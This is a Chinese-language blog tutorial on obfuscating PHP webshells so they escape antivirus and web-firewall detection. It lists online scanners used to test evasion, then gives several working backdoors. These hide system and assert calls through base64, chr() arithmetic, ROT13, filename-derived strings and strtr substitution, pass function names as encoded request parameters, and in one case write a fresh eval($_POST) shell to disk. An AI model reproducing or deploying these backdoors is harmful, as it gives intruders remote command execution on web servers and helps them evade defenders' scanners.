大家好,我是Dest1ny!
最近一直在搞辅导啥的,所以没啥时间搞写~
也谢谢大家一直的点赞,今天特意把之前的web专题再发一个。
废话不多说,我们直接开始!
CLASS-1 WebShell免杀测试
- 渊龙Sec团队导航(上面啥都有): 渊龙Sec安全团队导航
- 长亭牧云查杀: CT Stack 安全社区
- 阿里云恶意文件检测平台:阿里云恶意文件检测平台
- 阿里伏魔引擎: https://xz.aliyun.com/zues
- VirusTotal: VirusTotal
- 微步在线云沙箱: https://s.threatbook.com/
- 河马WebShell查杀: SHELLPUB.COM在线查杀
- 百度WEBDIR+: https://scanner.baidu.com/
- D盾: D盾防火墙
- 网站安全狗: 网站安全狗-网站安全防护,防后门|防SQL注入|防CC攻击|网马查杀|防篡改
这些就是我们检测自己写的webshell有没有免杀效果的网站!
CLASS-2 最简单的webshell
我们看一下我们最熟悉的webshell!
eval()
函数把字符串按照 PHP 代码来计算,即执行PHP代码
$_POST传参,将传参内容作为php代码执行
这就是最简单的一句话木马,但是我解释的这两个知识点恰好就是各大厂商主要去检测的地方。
就是高危函数和命令执行函数这两个部分。
那免杀本质就是通过代码混淆和变形去绕过检测规则。
CLASS-3 webshell免杀(编码)
base64解码(下划线利用)
<?php
$f = base64_decode("YX____Nz__ZX__J0"); //解密后为assert高危函数
$f($_POST["Dest1ny"]);//assert($_POST["Dest1ny"]);
?>
通过将下划线包含在 Base64 字符串中并观察解码结果,可以判断系统的过滤机制。
但是这种局限性很大,要去一点一点测试过滤规则,万一不过滤下划线怎么办?
ASCII编码
道理一样,就是编码方式改变了
<?php
//ASCII编码解密后为assert高危函数
$f = chr(98-1).chr(116-1).chr(116-1).chr(103-2).chr(112+2).chr(110+6);
$f($_POST['Dest1ny']); //assert($_POST['Dest1ny']);
?>
ROT13编码
$f = str_rot13('flfgrz'); //解密后为system高危函数
$f($_POST['Dest1ny']); //system($_POST['Dest1ny']);
CLASS-3 webshell免杀(拼接)
文件名与数组结合
<?php
function confusion($a){// 定义一个字符数组,用于转换数字到字符$s = ['a', 't', 's', 'y', 'm', 'e', '/'];$tmp = ""; // 用于存储转换后的结果// 当输入的数字大于10时进行循环处理while ($a > 10) {// 将当前数字模10的结果作为数组索引,拼接到结果字符串中$tmp .= $s[$a % 10];// 将数字除以10,为下一次循环做准备$a = $a / 10;}// 最后将剩余的数字对应的字符拼接到结果中return $tmp . $s[$a];
}// 从当前文件名中提取出最后10个字符中的6个字符,结果是'976534'(字符串)
$f = confusion(intval(substr(__FILE__, -10, 6))); // sysTem(高危函数)// 最终构建出一个高危函数的调用 sysTem,传入POST请求中的'Dest1ny'参数
$f($_POST['Dest1ny']); // sysTem($_POST['Dest1ny']);
?>
你们看,这个就很骚,先把文件名设置成数字,再通过数字和数组的结合去进行绕过免杀。
写入新文件绕过
这里先把system通过字符串替换构造了出来
再去拼接到一句话木马里,而且这里是把eval$_POST转换成evqrw$_yKST
最后去把内容写入新文件
<?php
$hahaha = strtr("abatme","me","em"); //$hahaha = abatem
$wahaha = strtr($hahaha,"ab","sy"); //$wahaha = system(高危函数)
$gogogo = strtr('echo "<?php evqrw$_yKST[Dest1ny])?>" > ./out.php',"qrwxyK","al(_PO");
$gogogo = 'echo "<?php eval(_POST[Dest1ny])?>" > ./out.php';
$wahaha($gogogo); //将一句话木马内容写入同目录下的out.php中;
?>
CLASS-4 webshell免杀(参数绕过)
base64传参绕过
<?php
$decrpt = $_REQUEST['a'];
$decrps = $_REQUEST['b'];
$arrs = explode("|", $decrpt)[1];
$arrs = explode("|", base64_decode($arrs));
$arrt = explode("|", $decrps)[1];
$arrt = explode("|", base64_decode($arrt)); call_user_func($arrs[0],$arrt[0]);
?>
-
接收请求参数:
$decrpt = $_REQUEST['a']; $decrps = $_REQUEST['b'];
- 从 HTTP 请求中获取参数
a
和b
。
- 从 HTTP 请求中获取参数
-
处理参数
a
:$arrs = explode("|", $decrpt)[1]; $arrs = explode("|", base64_decode($arrs));
- 使用
explode("|", $decrpt)
将参数a
按|
符号分割,取第二部分(索引为 1)。 - 对该部分进行 Base64 解码。
- 解码后的结果再次使用
explode("|", ...)
进行分割,得到一个数组$arrs
。
- 使用
-
处理参数
b
:$arrt = explode("|", $decrps)[1]; $arrt = explode("|", base64_decode($arrt));
- 对参数
b
进行相同的处理:分割并解码。 - 结果存储在数组
$arrt
中。
- 对参数
-
调用函数:
call_user_func($arrs[0], $arrt[0]);
- 使用
call_user_func()
动态调用$arrs
数组中的第一个元素所对应的函数,并将$arrt
数组中的第一个元素作为参数传递。
- 使用
到最后只要你传参是base64加密完的敏感函数就可以了
- 这里
c3lzdGVt
是字符串system
的 Base64 编码。 - 这里
d2hvYW1p
是字符串whoami
的 Base64 编码。
函数构造传参
$f = $_REQUEST['f'];
从用户请求中获取一个名为f
的参数,这个参数应该是一个函数名称(例如system
)。declare(ticks=1);
设置一个 PHP 的指令块,每执行一条语句就触发一次注册的 tick 函数。register_tick_function($f, $_REQUEST['aabyss']);
注册一个 tick 函数,这个 tick 函数会在每个 tick 时被调用。这里的$f
是用户传入的函数名,而$_REQUEST['aabyss']
是该函数的参数。
<?php
$f = $_REQUEST['f'];
declare(ticks=1);
register_tick_function ($f, $_REQUEST['aabyss']);
?>
那我们在$f传参中是system,不就构造好了吗!
今天就先这样吧,累累的哈哈哈
大家多多关注Dest1ny,现在已经300粉丝了!!!感谢大家!!